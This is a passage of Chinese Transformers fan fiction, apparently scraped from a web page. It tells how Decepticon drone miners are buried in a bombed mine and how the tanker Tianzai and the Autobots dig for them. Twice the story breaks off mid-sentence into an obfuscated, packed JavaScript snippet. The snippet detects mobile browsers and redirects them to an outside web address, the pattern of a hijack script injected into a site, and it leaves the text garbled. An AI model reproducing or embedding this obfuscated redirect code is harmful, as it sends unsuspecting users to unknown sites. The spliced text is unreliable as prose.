坍塌的矿洞还在崩裂,战斗单位引擎的呼啸自头顶传来,霸天虎飞机的导弹破空声曾经也作为他们最大的仰仗拯救过战场的颓势然而如今却成为死神的镰刀,毫不留情地收走他们生存的希望。 红色跑车伫立在矿洞的出口,K-19能听见K-75哀求的声音,也能辨认出击倒长官沉默的置换声,霸天虎拯救生命的医官最后却挡住了他们最后逃生的希望。 然而没有机子对此感到讽刺。 这是威震天陛下亲自下达的命令,而没有什么能阻挡霸天虎的主人意志的贯彻。 这就是世界运行的方式。 霸天虎毁灭一切,汽车人拯救一切,而量产杂兵死在无人在意的角落。 击倒默念着什么,K-19却已经失去了控制自己听觉系统的能力。 大幅度流失的能量液威胁到了机体的运行与火种的燃烧,依照本能,他的CPU正在逐次关闭他的感官系统。 突如其来的,在自身感受外界的所有渠道都陷入死寂后,K-19想知道他们的普神是否也会收留人造的火种,那样的话起码他可以向所有机子说一声抱歉。 抱歉没能让大家活下去。 抱歉没能让大家逃脱灾难。 抱歉他所未能完成向他们承诺的一切。 抱歉明明希望已经到来了他们却死在了黎明前夕。 有太多K-19需要向他们道歉的事情了,可是人造的士兵也许终究比不上神造的火种,他就快失去思考的能力了。 陷入黑暗的CPU被猩红的弹窗占满,头顶的石块隔着隐隐约约的触感砸落在他的面甲上,K-19知道自己该惊慌的,像是任何一架普通的机子那样,去呼唤同伴的帮助,去催促K-75带领其他还活着的机子逃走,但…… 他从来都不曾知晓什么才能称作一架普通的机子。 在CPU被疼痛讯号填满的瞬间,他只能想起自己是如何靠着吞吃同伴的尸体从黎明高地的战场爬回人间。 那是不曾存在任何希望的场所,战斗结束后的战场是没有生存与死亡的概念的,当死去赛博坦人的机体累积成一座座尸山时,你所能做的不是翻找还有没有活着的战友,而是畏惧是否会有敌人从死亡的脚步声中连你一同拽入深渊。 有那么一瞬间,K-19甚至在怀疑自己是否真的还活着。 他的火种还在胸膛跳跃吗?他所触摸到的触感是真实的吗?他所看见的阳光真的是阳光吗? 继而是更多的疑问。 为什么他还活着?为什么要有战争?为什么他们要自相残杀?为什么受苦的是他们?为什么他要作为一架量产机诞生? 无数的责问从火种里迸发,他知道这是他永远不可能问出口的疑问。 火种只是在抽泣,向它的主人询问为什么自己一定要遭受这样的痛苦,哭泣声甚至让K-19感受到了厌烦,可他又如何能得知答案呢? 他只是稀里糊涂地出生,稀里糊涂地进了矿洞,最后又稀里糊涂地上了战场。 他麻木的、被同伴的能量液染成了蓝色的红色目镜环顾四周,只能问出他唯一有资格问出的问题。 ……为什么没有人来确认战场是否还存在有幸存者? 他脱力地坐在被能量液浸透的金属地面眼看着夜幕降临,涡轮狐狸叼走死去汽车人的胳膊大快朵颐,石油兔子在量产机的机体里筑窝,荒原狮在抢夺霸天虎的尸体作为晚饭。 最后K-19如同行尸走肉说服自己从不知道是谁的能量液里站起来,他尝试过呼唤,可破损的发声器无论发出多么嘶哑的声音都引不来任何一方的注意。 汽车人打了败仗要逃走,霸天虎打了胜仗要庆祝,最后剩下K-19一个人不得不思考他怎么在被炮火摧残殆尽的战场活下来。 对,就像是现在,手掌中依然抓着一节不知道是谁的胳膊,熟悉的外装甲轮廓,就像他自己,每个量产机都像K-19,K-19就像每个量产机。 他曾经也以为自己是特别的。 他思考得更多,害怕得更多,喜欢得更多,可最后K-19只发现所有人都思考得更多,害怕得更多,喜欢得更多。 他们只是不再奢望了。 在意识到作为霸天虎的量产士兵诞生到底意味着什么时,他们就不再想了。 仅仅是活下来就已经让他们拼尽全力。 而K-19只是他们中的一员,没什么特殊,也没什么特别。 K-19也不过是无数量产机中的一员,无数量产机也不过是K-19的缩影。 最后的最后他们还是要死。 天空中的轰隆作响逐渐停止了,地面脚步传来的振动也在消失,K-19知道,尽管会有人死在今天,但不会是全部。 他的同伴也许迟钝,但没有量产机是生存的傻子,自……天灾叫来救护车治好了他们的伤,K-19就一直在和其他机子商量如何对洞穴进行加固,如何在保证隐蔽的同时增加生存的几率。 而K-75作为管理层,CPU的运算能力在K-19之上,他知道失去自己K-75也会代替他照顾好其他幸存下来的机子。 只是,他不明白,明明一切都已经早有安排,那这股萦绕在他火种中的不甘又是为了什么。 置换逐渐开始变得困难,灰尘落入他的呼吸系统引来一阵剧烈的咳嗽,然而下半身被碾压在巨石之下,咳嗽只换来了更钻心的疼痛。 天灾是否也曾经历这样的困境呢? K-19突然发散地想到。 那辆高傲的油罐车似乎总是在他们面前表现得无畏无惧,好像顶着几十架量产机的炮火与汽车人的通缉只不过是他日常中的一部分。 他会慢条斯理地找出K-75脱线话题中的漏洞问得小飞机哑口无言,也会假装愤怒地弹捣乱的H-45的额头让他学会安静,但更多时候,天灾只是抱着胸看他们在矿洞里忙碌。 那双漂亮的红色光学镜永远看着K-19所不知道的未来,而奇迹就在他的CPU中发生,就像他带来了K-19永远带不来的医生,治好了K-75的腿、S-569的充能回路、H-45的光学镜和更多只能等死的量产机。 这都是K-19做不到的。 在所有机子面前,天灾总是无所不能的。 好像待在他身边时,你只需要相信他就好,相信他能带来医生、胜利,以及希望。 天灾让他们相信他无所不能。 可K-19知道不是的。 那辆小油罐车不是无所不能的神明,他只是习惯了将一切掩藏在自己的假面之下,K-19知道那副狠厉的外表下有着怎样一颗明亮温柔的火种。 那颗火种也曾向K-19袒露自己最大的脆弱与耻辱。 盘旋在心口几日的内疚涌上K-19的发声器。 明明他正是该最理解天灾的那个机子,然而却也是他伤害到了那辆将自己的脆弱主动敞开给K-19的油罐车。 他还欠天灾一句道歉的。 可他已经做不到了。 K-19的CPU描摹出小油罐车带着些许傲慢与别扭的面甲,胡思乱想的矿机想这会成为他最大的遗憾。 他转而又想起自己刚刚的疑问,轻叹。 如果量产机的祝福也有神明在倾听的话,他希望天灾永远也不要经历这样痛苦的东西。 被砸碎了整个下半身的飞行单位抽动了一下手指,疼痛信号立刻萦绕在他的机体上。 他知道时间不多了,再多几分钟,他的机体就会进入自动锁定状态。 他也许应该像正常的机子一样留下一些信号,又或者拼尽全力呼救,但他突然就不想了。 反正他从来都不曾是一架普通的机子,也不知道该怎么做一架普通的机子。 就像有一个事实他早就该接受:他是一个死去也无人在意的量产杂兵。 哈。 他艰难地扯动嘴角,尽管看不见也听不见,但他知道击倒和被派来执行任务的霸天虎飞机都已经离开这里了,否则在确认无人生还之前,霸天虎不会停止攻击。 这时候K-19突然就想感谢自己是一架无人在意的量产机了。 但,他已经为此吃够苦头,再去感谢自己的出身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264401|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未免有些冠冕堂皇。 兴许是停机前的走马灯,他不再处理眼前不断蹦出来的闪烁着的弹窗,记忆模块被艰难地调用出来。 你知道,作为一架量产机的一天其实非常无聊。 K-19的一天往往从被同伴从泊位上叫醒开始,然后是领取今日份的能量补给,跟随大部队下矿,幸运的话能听见红蜘蛛长官的几句问话,这就是他们今天的娱乐,随后是从霸天虎的战舰上一路向下传送至不见天日的矿洞。 这时候就得全力调动他的探测系统了,往往向下挖掘数十米才能找到一小块能量晶体矿,挖掘到后第一时间要上报给管理层,随后进行进一步加固,最后才是挖掘。 这也是K-19最熟练的,系统要校准到最小误差,挥动的镐子要恰到好处,不能用力太多,否则会引起不稳定的能量晶体自爆,不能用力太少,否则矿石就没法被挖掘出来。 这是个技术活,K-19想起天灾曾经好奇过他们的生活,尤其是在K-19告诉天灾他是凭借自己的矿石探测系统才找到他后小油罐车就要求他详细讲述过他们的挖矿经历。 只是天灾在听K-19讲到一半的时候就显而易见地想要逃跑了。 他是不是又在走神了? ……算了。 K-19决定放过自己。 天灾其实也向他问过挖矿最艰难的是不是挖掘和探测,但不是的,对于矿机而言,最难的是搬运。 如果不用特制的箱子就无法稳定矿石,但任何一点儿火花又都有可能引爆它们,更糟糕的是往往这时候他们都已经手酸脚累,再没有更多的精力关注搬运的过程是否平稳顺滑,K-19已经记不清自己磨坏了多少次手部的关节齿轮,又有多少次是拼着最后一点儿力气走回战舰。 但一天中最幸福的时刻无疑是回到泊位的时候。 只是,白天结束,K-19的夜晚却往往不得安宁。 多少次他在泊位上因为恶梦而惊醒。 有时候他会梦回黎明高地,恐惧、痛苦、恶心以及……饥饿。 那该死的饥饿感无处不在,从他的油箱燃烧到他的摄食管。 他不断地、不断地回到战场,他看到自己低下腰,忍住呕吐的欲望从尸山上挖掘出同伴的尸体,从他们的子空间取出还能吃的能量块。 然而能量块吃完了,依然没有人来救他。 K-19看看脚下腐烂的苍白机体,又去捕捉石油兔子,为了活着,他和涡轮狐狸争过食,从机械秃鹫嘴里抢过含有能量液的管线,从荒原狮的爪子下捡过剩。 为了活着他无所不用其极,直到最后,黎明高地也沦为战争的又一个受害品。 衰落的赛博坦再也承担不住他最美丽的山丘,黎明高地的生物迈向了灭绝,直到最后,K-19低下头,从一具已经看不清派系的机体上撕开他的腰腹。 留下的蓝色液体不知道是尸体的能量液还是他留下的清洁液,他只能悲伤地咽下摄食管中苦涩的能量,期盼下一个明天照常到来。 意识正在陷入迷蒙,疼痛也变得麻木,K-19望向应该是天空的方向,有些讽刺地想到: 谁又能知道,曾经最为痛恨的日常在现在这个时刻竟然也会变成奢望呢。 可他的一生就在奢望。 当黎明高地等来霸天虎与汽车人又一次战争的号角,威震天与擎天柱像是戏剧的主角无数次站上同一座高台,仇恨推动着他们,霸天虎的君主挟持着它,放任这种感情在自己的火种流淌,总是不放过任何机会地讥讽着汽车人领袖的优柔寡断,嘲笑着擎天柱的天真与仁慈。 领袖却只是不发一言,那双湛蓝色的光学镜注视着威震天的面甲,就好像在找过去的那位名为震天尊的角斗士的影子。 那就是K-19唯一一次看见汽车人领袖的时机,两位领袖级的机体在战场的中央互相伤害,在场的所有机子都不得不被裹挟进命运的轮舞,威震天是这样,擎天柱是这样,K-19同样是这样。 战争带来了痛苦和死亡,战争让挚友反目成仇,战争让一切面目全非。 战争让K-19不得不在死亡的爪子下求饶,但战争却也让K-19活下来。 黎明高地的战斗最后的结果是威震天被领袖一枪射穿了半个火种舱,然而他依然活着。 顽强地、艰难地。 但还活着。 霸天虎濒死的君主念着擎天柱的名讳,像是在念一个新生的仇人,也像在念一个死去的爱人。 K-19不明白。 他只是抓住离他最近的那个霸天虎杂兵的脚踝,拼尽全力活了下来。 但…… 为什么呢。 他昏迷着被其他霸天虎杂兵搬运回战舰,陷入黑暗前,他只是奇怪着。 像是好奇威震天口中念叨的名字一般。 为什么会有人如怀念逝去的过去一般念诵一个人的名字呢? 矿洞冰冷的温度从破碎的矿机的指尖一路传递至K-19的火种舱,已经神志不清的量产机呢喃着,金属唇上下翕动,重复着CPU停止运作前他最后的意识。 他也曾渴望某个人呼唤自己的名字如奢望命运垂怜不曾被爱过的火种。 55.挖掘 矿洞的轰隆作响逐渐停止,灰尘自地面升起又落下,再无人知晓在这厚重泥土下曾经也诞生过霸天虎量产士兵们短暂而破碎的梦。 击倒的目光短暂地流连在化为平地的废墟又像是满不在乎般转过身,扫去肩甲上的阴霾,露出底下明亮的红漆。 “任务完成。” 轰炸声渐歇,属于战斗单位量产士兵无机质的声音响起,那其中没有愤怒,也没有悲伤,更没有杀死同伴的纠结。 毫无波动的冰冷语气几乎让击倒胸口质问的话语脱口而出,他想问他们: 为什么可以无动于衷。 是因为量产士兵们低劣的CPU无法处理这样的情感吗?还是他们真的毫无感知? 然而击倒清楚这个问题注定得不到回答,而自己心中的疑惑也不过是伪善者虚假的慈悲。 他闭上光学镜,听见身后最后一架飞行单位从空中袭过,量产士兵们凝视着他的背甲,等待着他下达最后的命令。 那架名叫K-19的量产机迷茫又不安的样子在击倒的记忆模块一闪而过。 光学镜中还停留着矿机跟随他降落在这处坐标时的情景。 从未被允许跟随高级军官一同执行任务的惶恐充满了K-19的磁场,然而这架几乎不具备攻击能力的矿机依然维持住了一种罕见的镇定。 直到熟悉的洞口出现在他的眼前。 击倒知道从那一刻开始这架量产机便一定明白了自己被带来这里的意义。 而在K-19开口说出什么前,击倒先下达了“进去”的命令。 烙印在量产机底层逻辑上的服从代码让他咽下了发声器中的话语,击倒眼见着K-19僵硬地催动机体进入了矿洞。 量产机没有多费口舌去求饶,只是脚下的步伐逐步加快,最终在击倒和其他战斗单位的注视下彻底变为了狼狈的逃跑。 击倒就那样看着他急切且慌乱地跑进了他们藏身的洞穴去向他即将遭遇不测的同伴报信。 量产机的机体彻底没入矿洞的瞬间,他也无情地下达了执行任务的命令。 击倒深吸一口气,不再去想。 就像他从加入霸天虎的那日起便不再思考如何让自己的双手避免沾上无辜者的鲜血。 视线回归当下,他看着环绕在自己周身的一圈战斗单位,说道:“动手吧。” 战斗单位的最后一发炮弹落在洞口,将生者的哀求与垂死的哀嚎一同埋葬在地下。 他点开内线,向声波报告了任务结束,属于陆地桥的光辉随之点亮。 离开前,他最后看了一眼身后的废墟,没有再进行对幸存者的清剿。 就当这是他最后的怜悯吧。 霸天虎的身影随着恒星最后的光辉一同消失在陆地桥中,这片鲜有人迹的森林也终于再度回归了安静。 …… 夜幕降临,掠食的猫头鹰从低空掠过,发出渗人的叫声,灰兔在它的注视下啃食着初生的嫩绿草根,就在猫头鹰的爪子落下的前一刻,大型车辆的引擎咆哮着突兀闯入这片属于死亡的领地。 灰兔一惊,躲过了猫头鹰要命的一击,返回了洞穴。 被干扰了捕猎的猫头鹰对着人类的载具不满地咕咕叫了一声,头也不回地飞离了这里。 另一边,风尘仆仆的漆黑油罐车从月色中奔袭而来。 泥浆与树叶黏在他的车身上,溅脏了他的外表,然而油罐车毫不在意。 崩塌的洞口在前,他却车速不减,最后在半空中险而又险地快速变形。 拳头随着速度狠狠撞上原本是洞口位置的巨石,坚硬的石块随之发出了剧烈的碰撞声,裂开了一道缝隙。 油罐车咆哮出声。 他半跪在地面,小腿上的车轮还在冒烟,变形带动些许碎石砸落在机体上,然而他却顾不上自己的狼狈。 担忧在见到炮火轰炸过后的遗迹时彻底变为了恐慌与焦急,天灾控制不住地在心底暗骂。 光学镜紧缩,磁场暴躁地在他的周围作响,他尝试调动自己的感知系统。 灵敏的听觉天线不停抖动,试图捕捉地面下最微小的动静。 然而就如同联络器中不管他发出多少条的呼叫一样,得到的依然是一片静默。 搜寻无果,天灾气急败坏地再度一拳砸在了眼前的巨石上。 挡在洞口的岩石彻底开裂,可石头后依然是石头,他被挡在了外面。 巨大的动静惊飞了森林中的飞鸟,手部传来剧痛,内部管线报着错要求他停下对机体的摧残,天灾充耳不闻。 在暴怒的边缘,他劝说自己尽快冷静下来,现在还不是他失去理智的时候。 K-19需要他,量产的士兵们也需要他,他不能任由愤怒支配自己的冷静。 他越快想到办法,幸存者的生存机会就会越大。 他明白这点,但,炉渣的! 他发出一声低吼,忍耐住手掌齿轮的抗议,努力摸索着原先矿洞的大体位置。 炮弹炸开的弹痕与激光武器留下的焦黑就印在石块上提醒着他这里曾遭遇了什么。 天灾在一处凹陷缓缓蹲下,尖锐的指爪抚上地面,指尖犹能感受到一丝炮火的余温。 CPU被主人调动,全力计算着轰开已经坍塌过一次的矿洞有多大成功的概率,油罐车的手上也逐渐攥紧,考虑着启用自己的肩炮。 很快,他意识到凭借自己一个人的能力,要在最快的时间内挖掘出一条救援的通道是不可能的。 肩炮可以轰开挡路的岩石,然而有更大的概率会造成二次坍塌,最保险的办法是使用功率更小也更容易调整威力的手炮。 问题则在于如果只有他一个人…… 得出结论的瞬间他咬着牙,站直了机体。 微微退后几步,手部变形,在武器充能的蓝色光晕中,他脸色阴沉地接通了一条他本以为不会再被想起的联络代码。 救护车的油箱随着天灾的呼叫而亮起。 「天灾?!」 医官声音讯在那一头乍起,几乎是在油罐车的联络发出的瞬间就得到了回复。 「是我。」 一个豁口被炸开,灰尘笼罩了天灾的机体,崩开的尖锐碎石划伤油罐车的眼角,在他的战术口罩上砸出零星的闷响。 「我需要你们的帮助。」 天灾开门见山地回复道。 通讯器中,与汽车人医官的联络还停留在上次交易结束时天灾发给他的资料压缩包,考虑到他们曾发生的纠葛,如果没有意外,天灾也许不会再和救护车有任何的交集,然而眼前的情况却让天灾不允许自己在这种时刻再犯脾气。 他尽量简短地说: 「我需要你们派遣人手过来。」 「等等、等等,」救护车慌乱地回复,「你出了什么事吗?你受伤了吗孩子?」随之是汽车人那边的一阵兵荒马乱。 天灾无暇顾及,他不知道是什么让救护车听出了端倪,但他已经没有精力再去分析这些,也没有其他的人可以求助了。 在那一瞬间他的CPU完成了演算,求助的信息如果告诉安娜,除了让女孩增添忧虑外别无他用。 告诉机械党和军方,那些贪得无厌的人类绝不会空手而归,救援只会变成一场属于他们的自助餐,量产机落入那些人类的手中,下场不会比天灾自身的经历更好。 天灾垂下光学镜,克制语气颤抖。 他只能赌领袖的善心和原则会让汽车人再度向他、他们伸出援手。 「不,是那些量产士兵。」 「他们遭受了袭击,矿洞塌了。」 「……我一个人做不到。」 按捺下自身的无力与火种中的恐慌,他在通讯中说道: 「他们被埋在地下,土层太厚,我的火力不足以轰开一条路,我需要更多的人,越多人越好。」 「我一个人做不到。」 他深叹一口气,承认自己的无能。 他等待着救护车的回复,然而另一条陌生的代码已经先一步向他发出了申请。 足够明显到甚至不用天灾思索的简短信息概括了来人的身份。 擎天柱向他说道: 「我们会来。」 短短的一句话,就让天灾的心里有了底。 这样就好,他告诉自己,这样就好,现在重要的是让那些量产机活下来。 虽然他现在一无所有,但总有些东西是可以用来交换到帮助的,他只需要在领袖过来后和他达成合作就好。 那不会有多难的。 只不过是再和领袖做个交易。 不,不对,他想起安娜曾告诉过他的话。 有些帮助是不求回报的。 家人就是会无偿帮助你的人。 因为他们爱你。 面罩下的天灾颤抖着嘴唇,不知道该相信哪个现实。 最终他关掉自己的通讯器,手炮对准已经被炸开一条半人宽的通道再度开火,嘈杂之中领袖的消息却没有停留在这一步。 「我们很快就到,会没事的。」 「不要慌,天灾。」 火种的颤抖逐渐停歇,然而天灾却不清楚这股莫名的安心感是源自他与领袖的亲子纽带还是领袖身份带来的光环。 输入的话语打错又重改,最终,creation与造物主之间的羁绊在摇摇欲坠的理性前暂时占据了上风,他向着自己的sire ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283149|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发出一条信息: 「Please……」 通讯陷入静默,他再度落入独自一人的境遇,领袖的保证勉强维持住了他最后的理性,他尽量不去想自己CPU中近乎麻木的逻辑模块是如何在强行运作。 能量超载的手炮正在逐渐过热,然而天灾没有停下,依旧一点点地向下轰击着。 抹掉眼角溅到的灰尘,眼前的岩石结构松散他便用手刃劈开一条道路,手刃不行他便上手去挖掘,他不知道自己是在期盼看到他们死去的机体还是希望自己就这样一直挖下去。 太慢了,他一个人太慢了。 K-19和更多量产机的面甲在他的光学镜前轮番出现,他还记得在自己离开前那些机子是多么兴高采烈,是多么期待着以后的日子。 他们可以远走高飞,可以永远离开这颗星球,可以远离他们的战场,去寻找自己的意义。 他们甚至都在谈论怎么像一个正常诞生的机子那样活着了。 可唯独他们不该被埋在这地下。 光学镜逐渐有些模糊。 天灾狠狠一抹眼角的模糊,在芯底恶狠狠地咒骂着自己不合时宜的机体。 正是要命的时刻,他的情感模块却像是失控一样在主系统中不断更新着无法解读的乱码,情绪模块在躁动,让他的控制系统不断报错,磨损的指爪颤抖着擦不干光学镜中的液体。 他没有时间去思考这股涌上来的苦涩是什么,他只是怨恨着这股陌生的情绪让自己的光学镜变得更加难以看清眼前的景象。 添乱! 油罐车在火种中唾弃着自己关键时刻掉链子的机体,然而火种中的另一半却跟他的机体一样混乱。 几日前的景象又在眼前上演,他记得自己说过的每一句话,他对着那些量产机们大发脾气,临走前还和K-19恶言相向。 可该死的,他想K-19还欠自己一句道歉。 他们的架还没吵完,K-19还没把解析好的代码发给自己,他还欠天灾那么多,他怎么敢就此消失。 小油罐车终于硬生生轰开一条生路,他四处寻找,然而没有,坍塌的矿洞没有量产们的影子,他费力地搬开又一块巨石,依然不见任何人的影子。 他在火种中安抚自己,也许情况没他想的那么糟糕,K-19不是头脑空空的蠢货,他们总会给自己留下后手的对吧? 转而他又想,K-19,你最好真的留有后手,不然等他找到他一定要连带着上次没吵完的架一起算账,他要和他好好聊聊治好了伤还不离开这里到底是哪门子的“我芯里有数”。 他芯里有个毛数,安娜都比他要有数!而安娜满打满算甚至刚十岁!难道K-19比他和安娜多活的那几百年都是睡过来的吗?! 越想越气,蓝色的液体滴落在地上,天灾猛地将眼前的一架被压瘪的矿车从自己眼前扔了出去,一个更宽阔的场地被他清理了出来。 而该死的,K-19甚至还没有给自己一个正式的道歉,天灾想,他怎么敢不辞而别。 机体逐渐被脏污覆盖,指爪的传感器传来损坏的警告,天灾充耳不闻,他只是跪在那里搬运开又一块沾满炮痕的巨石。 他甚至发掘出来了几架熟悉的量产机已经死去多时的残缺机体,但他不敢停下。 汽车人跟随着他的坐标从传送门中鱼贯而出他无暇顾及,擎天柱跟随他的痕迹进入矿洞落在他身上的温柔的目光他也视若无睹。 他只是重复着自己的动作。 匆忙赶来的领袖犹豫着,那双手终于还是抚上了自己造物的肩甲。 他拍着油罐车早已被量产机沾满了泥土的能量液浸染的机体,属于造物主的存在第一次如此明显地透过油罐车火种的链接传递到了天灾的CPU中。 火种中相似跳动的频率让他惶然地抬起头雕。 擎天柱看见了一架失神的属于幼生体的面甲。 蓝色的能量液依然不知从何处滴落,擎天柱依然是那副看不清情绪的模样,然而天灾却眼看着自己的sire半蹲下来,冷淡的神色逐渐融化,领袖柔和的磁场包裹住他,化解了他尖锐跳动的磁场节点,属于擎天柱的金属指温柔地抚摸上他的面甲抹去天灾眼角的清洗液。 他在那一瞬才知道自己竟然流了清洗液。 在短暂的愣神后天灾猛地甩开了那双手。 他将一切掩盖在自己的面罩之下,而领袖在他身后缓缓站起,两架机子谁也没有提刚才的接触,沉默地加入到救援中。 救护车面容严肃地跟在他们身后,在看清眼前的情形后立刻返回陆地桥从他们的基地带来了更多的工具,几个随后赶到的汽车人互相对视,也一起加入了挖掘的队伍。 56.全都活着 洞穴内,主矿洞的位置已经被清理出来,而一个不知道是好是坏的信息也随着最后一块碎石被隔板一拳夯碎暴露了出来——他们没有找到更多的死者。 零星几架被找到的死去士兵的机体被妥善地摆放在洞口。 只是就和矿难中来不及逃生的机子一样,死者的遗体总不是那么体面。 凹陷的火种舱、被砸烂的头雕、碎裂的四肢,大黄蜂不忍地别过头,只快步回到洞穴里将一腔的情绪扑在依旧未完成的任务上。 天灾怀抱着他们碎裂的机体碎片和大黄蜂擦肩而过。 紫色涂装的碎片夹杂着量产机蓝色的能量液染湿了地面也染蓝了天灾的机体,他再度沐浴在同类的血液中,然而这次却是为了哀悼。 他尽量替他们找齐了缺失的机体,油罐车半蹲下身,替身前的机子合上破损的面罩。 零件早已分辨不出属于哪架量产机,天灾只能不断调出自己的记忆文件一点点将他们拼凑起来。 记忆模块中的回忆随着天灾每一个扫视过死者面甲的眼神播放出他们生前的景象。 一节断裂的手爪被天灾小心地安放在一具机体旁边,他认得这双手爪的主人,就像他的CPU中记得躺在这里的每一个机子的“名字”。 只是那与其称作名字,更像是他们的生产编号。 他跪在地上,将一节小指从零件中拿出来。 这双灵活的伺服器属于L-76,一个梦想成为音乐家的机子; 一块被穿透的胸甲被安放在熄灭的火种舱上,它曾属于T-406,一个不爱说话却总爱照顾其他人的机子; 一个被斩首的头雕,天灾捧着他,将他妥善地安放在E-89的机体上,他曾属于他们之中最爱讲笑话的飞机。 …… 暴露在空气中的能量液早已经因为渗入的杂质而变质,闻起来腥甜而刺鼻,天灾却没有擦拭自己身上的狼藉,他只是跪在那里,情绪磁场环绕在他的周身散发出低迷的节点。 他现在明白了自己的主系统中不断报错的情绪代码意味着什么。 那是一种会让机体失控的负面粒子,一种混乱的干扰,一种无法根除的病毒,一种无法阻止蔓延的瘟疫…… 他们将之称作悲伤。 天灾想自己永远不会理解量产机的逻辑回路了。 因为他们死在了这里。 有那么一瞬间天灾觉得这个世界就像一个巨大的泥沼,他不断地试图攀爬,最终却只会在其中越陷越深。 也许他从一开始就不该走进那个矿洞,这样他就不会遇见K-75,更不会遇见这些量产机。 那样他便不会在此时、在此刻、在此地感到悲伤。 可他又能怎么办呢,是那些霸天虎们先靠近他的呀。 他们自说自话地将他拉入他们的队伍,自说自话地让天灾毫无防备地成为了他们的一员,自说自话地教会天灾什么叫做同伴。 现在又这样自顾自地教会他学会悲伤。 天灾能怎么办,他只能去接受这陌生的一切。 他抹掉眼角残留的蓝色水渍,自暴自弃地想现在就是他为此付出的代价。 他曾作为他们的同伴见证他们的生存,如今他要作为唯一有资格为他们哀悼的机子站在他们破损的机体前见证他们最后的死亡。 救护车就在此时走过来拍了拍这辆自他们到来后便再没开过口的油罐车的肩甲。 早已经历战争折磨的医官早已对此感到麻木,救护车没有对他们的惨状无动于衷,只是……当你在战场上曾见过更惨烈的景象时,你的处理器总会告诉你怎么做才能让你的机体动起来。 他清楚,不管天灾为他们造成过多大的麻烦,这辆油罐车终究还没有上过真正的战场,而眼前的一切,太过了。 对于一架这样年轻的机子而言,哪怕天灾本就是为了战争而设计,这也太超过了。 长者的磁场亦如刚刚的领袖包裹住了天灾。 这次,天灾没有拒绝救护车带有安抚意味的触摸,只是机体的自发反应依然在肩部的传感器接触到救护车的手掌时微微一振。 救护车想要让他去休息,油罐车的手爪上已经出现了明显的磨损,现在也在不停地出现不规律的痉挛,但天灾只是盯着医官的光学镜。 那双与领袖如出一辙的倔强眼神让救护车咽下了嘴中的话语。 医官叹了口气,越过他,在量产机们的机体前蹲了下来。 灵巧的双手抚上死者的遗体,修复了那些致命的损伤,替他们保留了最后的体面。 小油罐车疲惫的面甲转向救护车,嘴唇翕动,沙哑的嗓音半晌才吐出了一句道谢。 医官头也没回:“真要谢我就帮我个忙,去那边给你的油箱补充些能量。” “你的机体你做主,但我不想看到这里再多一个伤员。” 闻言,天灾微微抽动了一下嘴角,没能勾出一个微笑。 他摆了摆手,转过身,再度向着矿洞走去。 “我会的。”他说。 “在找到他们之后。” 小油罐车的CPU再度超负荷运转起来,自汽车人加入救援后已经过去了半个小时,但除了这几架机子外他们没能找到更多量产机的踪迹。 往好处想,也许那些量产机延续了自己的好运气,在坍塌时找到了一条生路躲过了这次亡命之灾。 往坏处想,他们可能被埋在更深处,如果有机子遇险,他们可能抓不住最佳的救援时机。 濒死的机子会因为能量液的过度流失而遇难。 天灾夹带着些许愤怒与焦躁揉了揉自己的眉心。 领袖带着阿尔茜和隔板在他的反方向清理着碎石,天灾熟练地压制下情绪模块中的异常,抬起已经过热的手炮调整好威力对准了眼前这块最大的岩石。 “轰!!!” 爆炸声响起。 “发生了什么!”隔板惊讶地大喊。 “天灾你做了什么!” “bee——bee!!!” 汽车人的惊呼在他身后响起。 巨大的震颤,岩石被精准地打中要害碎裂成了无数的小石子溅落在四周,而擎天柱抬起头注视着他们头顶的洞顶。 好在没有发生二次坍塌。 “我计算好了威力,别大惊小怪,汽车人。”天灾不满的话语从灰尘里传来。 “专心你们的……” 油罐车的话骤然断掉,擎天柱只能看见那抹黑色的影子忽的一下消失在尘埃里。 领袖眯着眼睛走入灰尘。 只见岩石原本的位置被炸开,而在岩石后的…… 是一个岔路口! 领袖瞪大光学镜,走近。 只见原本用于支撑山体的加固装置已经因为巨大的压力而弯折,角落的矿车被拆解掉了钻头,剩余的部分抵在洞顶撑住了裂开的岩石,些许灰尘与石子簌簌落下,走近还能听见支架上发出不详的吱嘎声,但它们依然牢牢架住了坍塌的矿洞,也为擎天柱和天灾留下了一条仅容他们擦身而过的通道。 明显的人为制造的加固痕迹极大鼓舞了他们。 天灾率先钻了进去,擎天柱在向身后的同伴打好招呼也跟了进去。 两架大型机并排走着,时不时可以看见地上还留着几根断裂的合金支架。 他们走得足够深,光线逐渐昏暗,两个机子不得不打开自己的大灯照亮他们的前路。 岔路中除去一开始的痕迹再找不到更多的线索,黑暗、安静与逐渐消失的希望的可能,这些足以让天灾刚刚消下去的焦虑重新冒头。 如果不是身边还有着领袖的存在,天灾此时可能已经沉不住气了。 但渐渐的,一些……声音传了过来。 两个大型机都在此时抖动着天线,那几乎就是希望本身的声音了。 一开始是虚虚的敲击声,他们每往前走,声音便越大,逐渐变为了窸窸窣窣的脚步声与敲击墙壁的咔哒声。 在天灾几乎是跑着拐过一个路口时,那声音终于变成了切实的窸窸窣窣的说话声。 “K-75?” “H-45?” 油罐车大声呼唤着他们的名字,此时天灾的反应已经趋近于惶恐,哪怕是领袖就在身旁也不能阻止他继续呼唤。 可恶! 希望就在眼前,可原生体的机体是为了杀戮而生却不是为了寻找生者,原生体的机体从一开始就不具备勘探的能力,此时哪怕量产们就和他一墙之隔天灾恐怕也没有手段知晓。 